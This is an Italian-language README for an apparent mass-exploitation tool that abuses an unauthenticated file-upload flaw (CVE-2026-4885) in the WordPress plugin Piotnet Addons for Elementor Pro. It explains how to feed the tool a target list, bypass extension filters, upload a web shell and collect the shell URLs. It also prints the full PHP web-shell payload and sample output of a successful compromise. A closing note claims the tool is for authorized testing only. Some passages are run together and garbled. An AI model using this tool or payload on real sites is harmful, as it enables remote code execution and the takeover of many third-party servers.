
Piotnet Addons for Elementor Pro <= 7.1.70 - Caricamento file arbitrario non autenticato tramite caricamento file del modulo
Caricamento arbitrario di file non autenticato che porta a Remote Code Execution (RCE) in Piotnet Addons for Elementor Pro ≤ 7.1.70.
Questo strumento è progettato per lo sfruttamento di massa – inserisci una lista di target e provvederà automaticamente a:
post_id, form_id e il nome corretto del campo di upload.phtml, .php3, .php4, .phps, .pht, .php2) per bypassare filtri debolipafe_export_databaseLogic_Internet) e salvare l'URL in shells.txt⚠️ Disclaimer
Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati.
L'uso non autorizzato contro sistemi che non possiedi è illegale.Per ulteriori disclaimer, puoi vedere quello sulla copertina di Jenderal92. Puoi controllarlo QUI !!!
data-pafe-form-builder-field-name, data-elementor-id, ecc.)https:// se mancante/contact, /apply, /quote, /book-appointment, …)wp-content/uploads/piotnet-addons-for-elementor/ sia a percorsi root direttirequestspip install requests
Installazione
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
Utilizzo
Crea un file chiamato targets.txt (o qualsiasi altro nome) con un URL per riga:
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
Lo script:
· Mostra l'avanzamento per ogni target · Salva gli URL delle shell riuscite in shells.txt
Esempio di output
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
Opzioni da riga di comando (personalizzabili nello script)
Variabile Descrizione Default TIMEOUT Timeout delle richieste HTTP 10 secondi MAX_THREADS Numero di thread concorrenti 20 OUTPUT_FILE Dove salvare gli URL delle shell riuscite shells.txt EXT_LIST Estensioni file da provare .phtml, .php3, .php4, .phps, .pht, .php2
Puoi modificarle modificando l'inizio dello script.
Payload della Shell
La shell integrata è:
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
· Mostra le informazioni sul server, la directory di lavoro corrente e un form di upload file. · Può essere sostituita con qualsiasi altro codice PHP (basta cambiare SHELL_CODE nello script).
Come Funziona
?ver= negli asset del plugin nella homepage.
· Come ripiego, verifica l'esistenza di file CSS/JS noti.post_id, form_id e il nome corretto del campo di upload dagli attributi HTML specifici di Piotnet.wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
· Utilizza un payload JSON che imita il meccanismo di upload del plugin.
· Prova tutte le estensioni in EXT_LIST finché una non riesce.pafe_export_database che restituisce un CSV contenente l'URL completo del file caricato.
· Analizza l'URL usando un pattern regex che corrisponde a xxx-{random}.ext.Logic_Internet.
· Salva l'URL in shells.txt in caso di successo.Risoluzione dei problemi
UnicodeEncodeError su Windows
Lo script include già una funzione safe_unicode() che gestisce i caratteri non ASCII. Se vedi ancora errori, assicurati che il tuo terminale supporti UTF-8:
chcp 65001
Nessun form trovato / Tutte le estensioni falliscono
· Il target potrebbe essere stato patchato o non utilizzare Piotnet Addons. · Prova ad aumentare TIMEOUT o MAX_THREADS. · Verifica manualmente che il plugin sia effettivamente installato.
La divulgazione fallisce ma l'upload riesce
· L'endpoint pafe_export_database potrebbe essere disabilitato o protetto.
· Prova ad accedere manualmente a /wp-admin/admin-ajax.php?action=pafe_export_database in un browser per vedere se è accessibile.
Uso Legale ed Etico
· Usa questo strumento solo su sistemi per cui hai il permesso scritto di testare. · L'autore non è responsabile di qualsiasi uso improprio o danno causato. · Rispetta tutte le leggi applicabili.